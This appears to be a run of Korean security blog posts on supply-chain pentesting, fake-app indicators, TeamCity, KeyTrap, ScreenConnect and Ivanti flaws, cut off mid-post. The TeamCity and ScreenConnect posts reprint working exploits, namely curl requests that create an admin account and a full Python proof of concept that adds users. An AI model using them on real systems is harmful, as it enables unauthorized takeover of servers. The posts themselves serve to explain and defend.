1.  개요

- 최근 수년간 소프트웨어 공급망을 통한 다양한 침해사고 발생

- 인프라를 운영하며 관련 법률에서 제정한 다양한 규정 준수 및 보안 인증 등을 위해 다양한 솔루션이 사용

- 솔루션 증가는 공격자 입장에서 더 많은 선택권이 주어지는 것이므로, 현재 사용되는 솔루션의 위험성을 인식할 필요

- 금보원은 공격자의 관점에서 모의해킹을 진행공급망 공격을 분석한 ‘레드아이리스 인사이트 리포트 : Campaign ThirdEye’를 발간 [1]

※ 내용의 민감성을 고려하여 요약본 게시

 

2. 주요 내용

2.1 3rd Party 솔루션 유형 분류

구분 설명
형태별 분류 - 단일 소프트웨어 형태
- 하드웨어와 소프트웨어가 포함된 어플라이언스 장비 형태
기능별 분류 - 업무용 솔루션: 그룹웨어 / 웹 메일 / 메신저 / 문서 편집 / 업무포탈 등
- 보안 솔루션: 통합인증 / 망분리 및 망연계 / 계정관리 / 서버접근통제 등

 

2.2 3rd Party 취약점 분석

구분 설명
파일 업로드 취약점 - 파일업로드 기능을 이용해 악의적인 웹쉘 파일을 업로드하는 취약점
> 웹쉘 업로드 성공시 구동하는 웹 서비스 권한으로 쉘 획득 및 후속 공격이 가능
> 게시판 모듈의 취약점을 악용한 사례가 가장 많이 발견(개발사 폐업, 지원 종료, 업데이트 미적용 등)

- 세부 사례
① 업로드 확장자 검증 미흡
> 대부분 최신 버전 에디터는 기본적으로 JSP 등 악의적인 파일 업로드를 방지하기 위해 확장자 제한
> 일부 구버전 게시판 에디터의 경우 별도 검증 없이 파일 첨부 기능을 제공

② 관리자 페이지를 통한 파일 업로드
> 관리용 기능에서는 별도의 보안 검증을 수행하지 않는 경우가 많음
> 실질적으로 관리자 페이지 및 URL이 노출되지 않더라도 추측 및 무작위 대입을 통해 URL 식별 가능
> 원활한 관리를 위해 원격 접근을 허용하는 경우 또한 존재

 

2.3 써드아이(ThirdEye) 캠페인

- 3rd Party 솔루션 모의해킹 시나리오를 심층 분석해 가상의 해킹작전 (오퍼레이션)으로 재구성

> 이와 연관된 모든 활동을 써드아이(ThirdEye) 캠페인으로 명명

> 공격자 관점으로 시나리오별 세부적인 TTPs를 공유효율적으로 선제적 대응을 할 수 있도록 지원하는 것이 목표

[사진 1] 써드아이(ThirdEye) 캠페인

 

- 오퍼레이션별 TTPs 프로파일링

구분 설명
초기 침투 - 초기 침투시 공통적으로 파일 업로드 활용
- 각각 테스트 페이지, 에디터, 파일 전송 모듈을 찾아 악용
지속성 유지 - 재접속을 위해 웹쉘, SSH 많이 이용
- 비밀번호 변경 없이 SSH 키를 등록하거나, 관리자 계정을 생성하는 방법을 주로 사용
인증정보 - WAS 설정 파일을 복호화하여 DB 접속 정보, 관리자 계정 정보 등 탈취
접근 네트워크 확장 - 정상 프로토콜을 악용해 터널링 생성
- 주로 HTTP와 SSH 터널링을 활용
- 터널링을 맺게 되면 연결된 포트를 통해 패킷이 경유지를 거쳐 방화벽을 우회하여 직접 접근하지 못하던 네트워크에 접근이 가능 (=네트워크 피보팅)
측면 이동 - 더 많은 서버와 PC의 권한을 획득하는 것이 목적
- 정상 인증정보 확보 또는 솔루션 취약점 악용

 

2.3 대응방안

구분 설명
파일 업로드 취약점
원인 제거 및 관리
- 여러 곳에 구현된 업로드 기능을 우선적 파악
- 일반적인 기능 외에도 다양한 업로드 기능이 존재할수 있음
- 예시: 업로드 허용 확장자, 타입, 용량 제한 / 업로드 경로 실행권한 제거 / 업로드 경로 분리 등
서버 내 인증정보 관리 - 비밀번호 하드코딩 금지
- 필요시 암호화 적용 및 엄격한 파일 권한 설정
비밀번호 설정 및
점검 강화
- 유추하기 쉬운 키워드가 포함되지 않도록 설정
- 비밀번호 설정 정책, 가이드, 교육 외에도 실제 점검을 수반
솔루션 점검 및
계정 모니터
- 솔루션은 다수의 PC 및 서버와 연동되어 있으며, 높은 권한을 지님
- 솔루션 자체에 대해서도 계정, 포트, 정책 등 다양한 점검이 필요

 

[사진 2] 핵심 조치 필요 사항

3. 결론

- 솔루션 도입을 통해 효율적으로 관리를 시도하나, 관리 인원이 추가되지 않고 관리 요소만 증가하는 경향

- 공격자들은 이미 수년전부터 공급자인 제조사를 해킹해 소스코드 탈취해 취약점 확보 후 공격에 악용

- 패치 되지 않았거나, 계정 관리가 되지 않거나, 중앙 집중 관리 솔루션 등에 대해 접근통제 및 모니터링 필요

 

4. 참고

[1] https://www.fsec.or.kr/bbs/detail?menuNo=1011&bbsNo=11420
[2] https://www.boannews.com/media/view.asp?idx=127420&page=1&kind=1

1. 개요

- 보안권고문 게시(1.24) 이후 국내 앱 마켓에서 유통 중인 금융社 위장 사기앱, 위장 사이트 추가 발견

> 위장 사기앱 3개와 관련 위장 사이트 83개

 

2. 주요 내용

- 주식, 비상장 코인 투자 정보 제공을 주제로 홍보해 앱 설치 유도

 

[사진 1] 위장 앱 및 기능

3. 침해지표

- 대부분 해외 인프라를 활용하였고 소스코드 일부에서 중국어 확인

순번 1차 위장 사이트 2차 위장 사이트
1 www[.]dtqyipq[.]store www[.]cipsid[.]xyz
2 - www[.]kjpda[.]com
3 www[.]djjuedn[.]store www[.]cioism[.]xyz
4 - www[.]lsjas[.]com
5 www[.]jgisuxq[.]store www[.]sankghi[.]com
6 - www[.]klujz[.]com
7 - www[.]tiosjv[.]xyz
8 - www[.]tusii[.]xyz
9 - www[.]bjzuikoaj[.]com
10 - www[.]yxzugfb[.]com
11 - www[.]vcmxuiofn[.]com
12 - www[.]kjqda[.]com
13 - www[.]tphpliy[.]store
14 - www[.]zmfljgn[.]xyz
15 - www[.]mlsiughr[.]xyz
16 www[.]oepypdd[.]store www[.]xbvhjkd[.]xyz
17 - www[.]tuiwpas[.]com
18 - www[.]sigen[.]today
19 - www[.]cipsid[.]xyz
20 - www[.]doipdf[.]xyz
21 - www[.]dsfkdd[.]com
22 - www[.]sooja[.]xyz
23 - www[.]dasjda[.]com
24 www[.]ahbovtx[.]store www[.]jxiue[.]xyz
25 - www[.]dfasfu[.]com
26 - www[.]wiyauisuy[.]xyz
27 - www[.]jksdv[.]com
28 - www[.]asnm[.]xyz
29 www[.]djafovj[.]store www[.]nkxy[.]xyz
30 www[.]erweliq[.]store www[.]hjiizo[.]xyz
31 - www[.]sfisyd[.]xyz
32 - www[.]cdefdau[.]xyz
33 - www[.]fedjf[.]com
34 - www[.]asfuw[.]xyz
35 - www[.]drgcv[.]xyz
36 - www[.]ieytuigh[.]xyz
37 - www[.]csbikdkf[.]xyz
38 www[.]qqtrcvf[.]store www[.]sufyz[.]xyz
39 - www[.]guafjnhja[.]xyz
40 www[.]kwgnma[.]store www[.]kbai[.]top
41 - www[.]tyjhnb[.]xyz
42 - www[.]fdgeda[.]com
43 www[.]jbtlmve[.]store www[.]yiosho[.]com
44 www[.]zciqgpk[.]store www[.]yrxsl[.]com
45 - www[.]klhjs[.]com
46 - www[.]iiuqa[.]com
47 - www[.]fsdut[.]xyz
48 - www[.]sdzaqa[.]com
49 www[.]lpmreoo[.]store www[.]loilos[.]xyz
50 - www[.]tusyxnnv[.]com
51 www[.]sqrtexz[.]store www[.]jsloos[.]xyz
52 - www[.]zzlasjfh[.]com
53 www[.]rnoclbs[.]store www[.]yisloc[.]xyz
54 - h5[.]cenciakr[.]com
55 www[.]asjnvsr[.]store h5[.]bmc[.]so
56 www[.]yqmqgqj[.]store www[.]ziouay[.]com
57 www[.]dztzmay[.]store www[.]ciisoe[.]xyz
58 - www[.]ykfqwnp[.]store
59 - www[.]mxkgji[.]xyz
60 - www[.]nkdhgui[.]xyz
61 www[.]rppuriw[.]store www[.]giish[.]xyz
62 www[.]ldweezt[.]store www[.]wuaygbv[.]xyz
63 - www[.]kloijin[.]com
64 - www[.]vrdjhy[.]xyz
65 - www[.]suxghhf[.]xyz
66 - www[.]gsfds[.]com
67 - www[.]dsfxh[.]xyz
68 www[.]meugmpn[.]store a[.]meugmpn[.]store[:]34555
69 www[.]uxszepe[.]store zaif28[.]net
70 www[.]ihimrsb[.]store www[.]bvhjgdsyui[.]com
71 - www[.]brcsgjr[.]store
72 www[.]rmtpshj[.]store www[.]yisub[.]xyz
73 www[.]oaeqxyh[.]store -
74 - www[.]dsfsha[.]xyz
75 - www[.]itobmdnc[.]com
76 - www[.]loidis[.]xyz
77 - www[.]jkueo[.]xyz
78 www[.]mwoitcb[.]store a[.]mwoitcb[.]store[:]34555
79 - app[.]happyshopdz[.]com
80 www[.]hpakexo[.]store www[.]xiolki[.]xyz
81 www[.]lvurhfw[.]store www[.]podj[.]xyz
82 www[.]eiusz[.]xyz -
83 www[.]buqhnop[.]store www[.]zoiakj[.]xyz

 

- 연관 MD5

MD5 F86AE1AA8FFDBD48D594EC949F7BD153
C4F8245F7AC17050357A7B949E46DC65
2E5F5701EAB26ED751BC925995904C5F

 

4. 대응방안

- 발견된 앱은 백신社와 협조하여 탐지 조치

- 금융보안원 등 유관 기관에 해당 내용을 전파하여 사기앱과 연계된 사이트 차단

 

5. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=121718&pageIndex=1&searchCnd2=

1.TeamCity

- JetBrains社에서 개발한 CI/CD(Continuous Integration/Continuous Delivery)

 

2. 취약점

2.1 CVE-2024-27198

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-27198 [1]

 

- 원격의 공격자가 관리자 권한을 획득할 수 있는 인증 우회 취약점 (CVSS: 9.8)

 영향받는 버전: TeamCity 2023.11.4 이전 버전

 

-  jetbrains.buildServer.controller.BaseController 클래스가 특정 요청을 처리하는 방식에의해 발생 [2]

> 클래스의 handleRequestInternal 메서드로 요청을 서비스할 때 리다이렉션이 발생하지 않으면, updateViewIfRequestHasJspParameter 메서드 호출

public abstract class BaseController extends AbstractController {
    
    // ...snip...
    
    public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
        try {
            ModelAndView modelAndView = this.doHandle(request, response);
            if (modelAndView != null) {
                if (modelAndView.getView() instanceof RedirectView) {
                    modelAndView.getModel().clear();
                } else {
                    this.updateViewIfRequestHasJspParameter(request, modelAndView);
                }
            }
    // ...snip...

 

- updateViewIfRequestHasJspParameter 메서드의 isControllerRequestWithViewName 변수는 아래 조건으로 설정됨

> ① 현재 모델 AndView 모두 이름이 있고 ② 현재 요청의 servlet 경로가 .jsp로 끝나지 않으면 true로 설정

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {

    boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
        
    String jspFromRequest = this.getJspFromRequest(request);
        
    if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
        modelAndView.setViewName(jspFromRequest);
    }
}

 

- 다음으로 getJspFromRequest 메서드 호출되며, 호출의 결과값이 ModelAndView.setViewName 메서드로 전달

> ① jsp로 문자열이 끝나는지 ② admin/ 문자열을 포함하지 않는지 확인

protected String getJspFromRequest(@NotNull HttpServletRequest request) {
    String jspFromRequest = request.getParameter("jsp");
        
    return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}

 

- 공격자는 /app/rest/server URL과 3 가지 조건을 설정해 공격을 수행

① 404 응답을 생성하는 인증되지 않은 리소스 요청 Ex. /hax

② 인증된 URI 경로의 값이 포함된 jsp 매개변수 전달 Ex. ?jsp=/app/rest/server

③ 임의의 URI 경로가 .jsp로 끝나도록 지정 Ex. ;.jsp

Exploit URL: /hax?jsp=/app/rest/server;.jsp
========================================
관리자 계정 생성 Exploit
C:\Users\sfewer>curl -ik hxxp://IP/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 661
Date: Wed, 14 Feb 2024 17:33:32 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="haxor" id="18" email="haxor" href="/app/rest/users/id:18"><properties count="3" href="/app/rest/users/id:18/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="haxor"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:18/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>

 

2.2 CVE-2024-27199

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-27199 [3]

 

- 원격의 공격자가 관리자 작업을 수행할 수 있는 경로 탐색 취약점

 영향받는 버전: TeamCity 2023.11.4 이전 버전

 

- 다음 세 경로에 대해 인증 과정이 적용되지 않음 [4]

① /res/
② /update/
③ /.well-known/acme-challenge/

 

- 공격자는 위 세 경로를 이용해 인증을 우회하여 서버의 정보 등을 획득할 수 있음

C:\Users\sfewer>curl -ik --path-as-is hxxp://IP/res/../admin/diagnostic.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER

...snip...

          <div>Java version: 17.0.7</div>
          <div>Java VM info: OpenJDK 64-Bit Server VM</div>
          <div>Java Home path: c:\TeamCity\jre</div>

            <div>Server: Apache Tomcat/9.0.83</div>

          <div>JVM arguments:
            <pre style="white-space: pre-wrap;">--add-opens=jdk.management/com.sun.management.internal=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -XX:ReservedCodeCacheSize=640M --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=c:\TeamCity\bin\..\conf\logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -agentlib:jdwp=transport=dt_socket,server=y,address=4444,suspend=n -Xmx1024m -Xrs -Dteamcity.configuration.path=../conf/teamcity-startup.properties -Dlog4j2.configurationFile=file:../conf/teamcity-server-log4j.xml -Dteamcity_logs=c:\TeamCity\bin\..\logs -Dignore.endorsed.dirs= -Dcatalina.base=c:\TeamCity\bin\.. -Dcatalina.home=c:\TeamCity\bin\.. -Djava.io.tmpdir=c:\TeamCity\bin\..\temp </pre>
          </div>

 

3. 대응방안

- 최신버전 업데이트 적용 [5]

- 비인가 관리자 계정 생성, 시스템 설정 변경 등 점검

- 탐지 패턴 등록 및 모니터링

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-27198
[2] https://attackerkb.com/topics/K3wddwP3IJ/cve-2024-27198/rapid7-analysis
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-27199
[4] https://attackerkb.com/topics/ADUie1mrpK/cve-2024-27199/rapid7-analysis
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71360&menuNo=205020
[6] https://www.boannews.com/media/view.asp?idx=127389&page=1&kind=4

1. 개요

- 최근 브라우저 자동 로그인 기능을 악용한 계정 정보 탈취 범죄 급증함에 따라 KISA 권고 발표 [1]

- 사용자는 자동 로그인 기능 비활성화 및 개인정보 유출에 주의 必

 

2. 주요 내용

- 대부분의 브라우저는 편의성을 위해 계정정보를 저장하여 자동 입력해주는 자동 로그인 기능을 제공

- 해당 기능을 사용하는 PC가 악성코드에 감염되거나, 공용 PC에서 해당 기능 사용시 계정정보 탈취 등 위협 증가

영향받는 브라우저 구글 크롬(Google Chrome)
MS 엣지(Microsoft Edge)
모질라 파이어폭스(Mozilla FireFox)

 

- 탈취한 계정정보를 이용해 다른 사이트에서 로그인을 시도하는 크리덴셜 스터핑(Credential Stuffing) 공격 시도

> 크리덴셜 스터핑: 대부분의 사용서로 다른 사이트에 동일한 계정정보를 사용하는 것을 이용, 탈취한 계정 정보를 무작위로 대입하여 로그인을 시도하는 공격

> 과학기술정보통신부의 침해사고 조사결과 크리덴셜 스터핑은 공격 시도 대비 약 0.3% 성공률

> 관련 사례: 인포스틸러에 의한 국가·공공기관 정보 서비스 이용자 개인정보 유출, 엔씨소프트 계정 탈취 등 [2][3]

 

- 따라서, 자동 로그인 기능 비활성화 및 사용자의 주의 필요

> 개인정보보호위원회와 KISA는 자주 사용하는 계정의 유출 여부를 조회하는 서비스 ‘털린 내 정보 찾기 서비스’ 제공 [4]

구분 대응 방안
구글 크롬(Google Chrome) ① 오른쪽 상단 프로필 비밀번호를 선택
② 설정 메뉴에서 자동 로그인 사용을 중지
MS 엣지(Microsoft Edge) ① 오른쪽 상단 더보기에서 설정 선택
② 프로필 선택
③ 암호 선택
④ 자동으로 로그인 및 암호 필드에 암호 나타내기 단추 옵션을 모두 ‘사용 안함’으로 변경
모질라 파이어폭스(Mozilla FireFox) ① 오른쪽 상단 더보기 클릭
② 설정 선택
③ 개인정보 및 보안 메뉴
④ 저장된 로그인을 선택
⑤ 목록에 있는 정보를 모두 제거

 

3. 참고

[1] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71358&menuNo=205020
[2] https://www.nis.go.kr:4016/CM/1_4/view.do?seq=279
[3] https://www.boannews.com/media/view.asp?idx=125617&page=1&kind=1
[4] https://kidc.eprivacy.go.kr/

1. 개요

- 독일 아테네국립응용사이버보안연구센터에서 DNS 보안 프로토콜 DNSSEC의 설계 결함을 악용한 KeyTrap (CVE-2023-50387) 발견 [1]
- 단일 DNS 패킷을 전송하여 서비스 거부를 유발할 수 있음
취약한 DNS의 경우 최소 170초에서 최대 16시간 동안 서비스 거부 발생

 

2. 주요내용

2.1 DNSSEC(Domain Name System Security Extension) [2][3]

- DNS는 도메인(hxxps://example[.]com)을 IP 주소(1.1.1.1)로 변환하는 역할
> 초기 설계시 보안성을 충분히 고려하지 못해 DNS 정보 위-변조가 가능하다는 문제 존재 Ex. DNS Cache Poisoning

 

- 기존 DNS 보안성을 강화하기 위해 공개키 암호화 방식의 보안기능을 추가한 DNSSEC(DNS Security Extensions) 도입
> DNS를 대체하는 것이 아님

 

2.2 KeyTrap(CVE-2023-50387) [4]

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2023-50387

 

DNSSEC 설계 결함으로 인해 DNS 서버에 서비스 거부를 유발할 수 있는 취약점
> DNSKEY 및 RRSIG 레코드가 여러개일 경우 프로토콜 사양에 따라 모든 조합에 대한 유효성 검사를 수행

 

- 취약점과 관련된 세 가지 DNSSEC 설계 문제
① 여러 개의 서로 다른 DNS 키가 동일한 키 태그를 가질 수 있어 서명 유효성 검사 프로세스에 계산 부하 발생 가능
② 서명을 성공적으로 검증하는 키를 찾거나 모든 키가 시도될 때까지 모든 키를 시도해야 하므로(가용성 보장 목적) 계산 부하 발생 가능
③ 동일한 레코드에 여러 서명이 있는 경우 유효한 서명을 찾거나 모든 서명이 시도될 때까지 수신된 모든 서명을 검증해야 하므로, 계산 부하 발생 가능

 

- 영향받는 버전

[사진 2] 취약한 DNS 구성

 

2.2.1 SigJam (하나의 키 X 다수 서명)

DNS Resolve가 하나의 DNS 키를 사용하여 DNS 레코드에 존재하는 다수의 유효하지 않은 서명을 검증하도록 유도
> DNS Resolve가 DNSKEY로 검증할 수 있는 서명을 찾을 때까지 모든 서명을 시도하도록 설계 됨
> 공격자는 단일 DNS 응답에 340개의 서명을 작성할 수 있음
> 340개의 서명에 대한 유효성 검증을 수행한 후 DNS Reolve는 클라이언트에 SERVFAIL를 반환

 

2.2.2 LockCram (다수의 키 X 하나의 서명)

DNS Resolve가 ZSK DNSSEC키를 사용하여 DNS 레코드를 통해 하나의 서명을 검증하도록 유도
> DNS Resolve가 하나의 키가 검증되거나 모두 시도될 때까지 서명에 사용할 수 있는 모든 키를 시도하도록 설계 됨
> DNS Resolve는 서명을 검증하기 위해 모든 DNSSEC 키를 사용
> 해당 서명이 유효하지 않다고 결론을 내릴 때까지 서명이 참조하는 모든 키를 시도

 

2.2.3 KeySigTrap (다수의 키 X 다수의 서명)

SigJam과 LockCram를 결합하여 검증 과정이 2배 증가하는 공격

> 모든 키와 서명 쌍이 검증될 때까지, 가능한 모든 조합에 대해 검증을 시도

Ex. 첫 번째 ZSK를 사용해 N개 서명을 검증한 후, 두 번째 ZSK를 사용해 N개 서명을 검증하여 N번째 ZSK를 사용해 N개 서명을 검증

> 모든 조합 시도 후 레코드를 검증할 수 없다는 결론을 내리고 클라이언트에 SERVFAIL를 반환

 

2.2.4 HashTrap (다수의 키 X 다수의 해시)

- 다수의 DS 해시 레코드에 대해 충동하는 다수의 DNSKEY를 검증하기 위해 많은 해시를 계산하도록 유도

 

 

[사진 3] KeyTrap 공격에 의한 서비스 거부 시간

 

3. 대응방안

- 벤더사 제공 패치 제공
> 현재까지 나온 패치는 임시 조치
> DNSSEC 설계를 처음부터 다시 해야 문제가 해결될 것

 

- DNSSEC 기능 비활성화시 취약점이 근본적으로 사라지나 권장하지 않음
> KeyTrap 취약점을 제외하면 DNSSEC로부터 얻는 안전의 이득이 훨씬 많음

 

4. 참고

[1] https://www.athene-center.de/en/keytrap
[2] https://xn--3e0bx5euxnjje69i70af08bea817g.xn--3e0b707e/jsp/resources/dns/dnssecInfo/dnssecInfo.jsp
[3] https://medium.com/iocscan/how-dnssec-works-9c652257be0
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-50387
[5] https://www.boannews.com/media/view.asp?idx=126791
[6] https://www.boannews.com/media/view.asp?idx=126911

'취약점 > Denial of Service' 카테고리의 다른 글

CONTINUATION Flood  (0) 2024.04.07
Loop DoS (CVE-2024-2169)  (0) 2024.03.23
SLP DRDoS (CVE-2023-29552)  (0) 2023.11.13
HTTP/2 Rapid Reset DDoS (CVE-2023-44487)  (0) 2023.10.13
2009.07.07 DDoS  (1) 2023.07.06

1. ConnectWise ScreenConnect

- 원격 데스크톱 소프트웨어 응용 프로그램

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-1709 [2]

 

- 취약한 버전의 ConnectWise ScreenConnect에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> PoC 공개 이후 활발한 공격이 시작되어 시급한 패치 적용이 필요

> 악용에 성공한 공격자는 경로 탐색 취약점을 이용해 원격 코드 실행 가능 (CVE-2024-1708) [3]

영향받는 버전: ConnectWise ScreenConnect 23.9.8 이전 버전

 

2.1 취약점 상세 [4][5]

- Shodan 검색시 약 8,500개의 ConnectWise ScreenConnect 확인

[사진 2] Shodan 검색 화면

 

- SetupModule.cs에는 2 가지 HTTP 필터가 존재

응용 프로그램이 설정되지 않은 경우 모든 요청을 SetupWizard.aspx로 리디렉션

② 응용 프로그램이 설정된 경우 SetupWizard.aspx에 대한 요청을 거부하거나 Administration.aspx로 리디렉션

※ SetupWizard는 초기 사용자와 암호를 생성하는 역할

[사진 3] SetupModule.cs

 

- [사진 3]에서 요청 URL이 SetupWizard.aspx인지 확인하기 위해 string.Equals() 사용

> 요청 URL이 "~/SetupWizard.aspx"인 경우 True

> 하지만, 요청 URL이 "~/SetupWizard.aspx/"인 경우 False

> SetupWizard.aspx에 단순히 "/"만 추가하여도 이미 설치된 후에도 설정 마법사에 액세스할 수 있음

[사진 4] 인증 우회 및 설정 마법사 액세스

 

[사진 5] string.Equals() 결과 비교

 

2.2 CVE-2024-1708

[사진 6] https://nvd.nist.gov/vuln/detail/CVE-2024-1708

 

- 취약한 버전의 ConnectWise ScreenConnect에서 발생하는 경로 탐색 취약점

> 영향받는 버전 상동

> 구체적인 내용은 확인되지 않으나, ZipSlip 공격을 이용한 것으로 판단

 

※ ZipSlip [6]

- 경로 탐색 구문이 포함된 압축 파일을 실행할 때 공격자가 의도한 경로로 원하는 파일을 이동시키는 공격 방법

 

2.3 PoC [7]

- /SetupWizard.aspx/ URL을 이용해 임의의 사용자 계정 생성

※ CVE-2024-1708 PoC는 확인하지 못함 (아래 공격 시연 유튜브 영상 참고)

import requests
import re
import argparse

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchtowr-vs-ConnectWise_2024-02-21.py
          - Sonny, watchTowr (sonny@watchTowr.com)
        """

helptext =  """
            Example Usage:
          - python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

			 """

parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--url", help="target url in the format https://localhost", default=False, action="store", required=True)
parser.add_argument("--username", help="username to add", required=False, action="store")
parser.add_argument("--password", help="password to add (must be at least 8 characters in length)", required=False, action="store")
try:
    args = parser.parse_args()
except:
    print(banner)
    print(helptext)
    raise

print(banner)


requests.urllib3.disable_warnings()


print(f"[*] Target Server: {args.url} ")
print(f"[*] Adding Username: {args.username} ")
print(f"[*] Adding Password: {args.password} ")

initial_request = requests.get(url=args.url+"/SetupWizard.aspx/",verify=False)

viewstate_1 = re.search(r'value="([^"]+)"', initial_request.text).group(1)
viewgen_1 = re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', initial_request.text).group(1)

next_data = {"__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": viewstate_1, "__VIEWSTATEGENERATOR": viewgen_1, "ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton": "Next"}
next_request = requests.post(url=args.url+"/SetupWizard.aspx/",data=next_data, verify=False)

exploit_viewstate = re.search(r'value="([^"]+)"', next_request.text).group(1)
exploit_viewgen =  re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', next_request.text).group(1)
exploit_data = {"__LASTFOCUS": '', "__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": exploit_viewstate, "__VIEWSTATEGENERATOR": exploit_viewgen, "ctl00$Main$wizard$userNameBox": args.username, "ctl00$Main$wizard$emailBox": args.username+"@poc.com", "ctl00$Main$wizard$passwordBox": args.password, "ctl00$Main$wizard$verifyPasswordBox": args.password, "ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton": "Next"}

exploit_request = requests.post(url=args.url+"/SetupWizard.aspx/",data=exploit_data, verify=False)

print(f"[*] Successfully added user")

 

[영상 1] 공격 시연 [8]

 

3. 대응방안

- 벤더사 제공 최신 버전 업데이트 적용 [9]

> 초기 설정이 완료된 경우 SetupWizard에 접근하지 못하도록 변경(접근시 "Already setup"를 출력하는 것으로 판단됨)

> ZIP 파일 콘텐츠를 추출할 때 더욱 엄격한 경로 유효성 검사를 수행하도록 변경

취약점 영향받는 버전 해결 버전
CVE-2024-1709 ConnectWise ScreenConnect 23.9.7 및 이전 버전 23.9.8
CVE-2024-1708

 

- /SetupWizard.aspx/ 탐지 패턴 적용

 

4. 참고

[1] https://screenconnect.connectwise.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-1709
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-1708
[4] https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass
[5] https://www.horizon3.ai/attack-research/red-team/connectwise-screenconnect-auth-bypass-deep-dive/
[6] https://www.hahwul.com/cullinan/zip-slip/
[7] https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/main/watchtowr-vs-ConnectWise_2024-02-21.py
[8] https://www.youtube.com/watch?v=AWGoGO5jnvY&t=13s
[9] https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8
[10] https://www.rapid7.com/blog/post/2024/02/20/etr-high-risk-vulnerabilities-in-connectwise-screenconnect/
[11] https://www.bleepingcomputer.com/news/security/screenconnect-critical-bug-now-under-attack-as-exploit-code-emerges/
[12] https://www.boannews.com/media/view.asp?idx=126959&page=1&kind=1

1. 개요

- Ivanti Connect Secure, Policy Secure에서 새로운 제로데이 취약점 발견

> 권한 상승 취약점 (CVE-2024-21888) 및 SSRF 취약점(CVE-2024-21893)

> 해당 취약점을 악용해 다수의 국내 기업들 포함 전세계 650여개 이상 기업 공격 시도

> 원격 명령 실행을 위해 백도어 DSLog를 설치하기 위해 CVE-2024-21893 악용

 

2. 취약점

2.1 CVE-2024-21888

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-21888

 

- 취약한 버전의 Ivanti Connect Secure, Ivanti Policy Secure에서 발생하는 권한 상승 취약점

> 웹 구성요소 권한 상승 취약점으로 인해 관리자 권한으로 권한 상승 가능 [2]

> 악용에 성공한 공격자는 SAML 구성 요소에 있는 SSRF 취약점으로 인해 공격자가 인증 없이 제한된 특정 리소스에 접근 가능  (CVE-2024-21893) [2]

영향받는 버전: Ivanti Connect Secure 및 Ivanti Policy Secure 9.x, 22.x

 

- 서버에 요청이 전달되기 전 URI를 테스트하여 인증 필요 여부를 확인하는 doAuthCheck() 존재

> 해당 함수에서 /dana-ws/saml20.ws 등 특정 경로의 경우 인증이 강제되지 않음

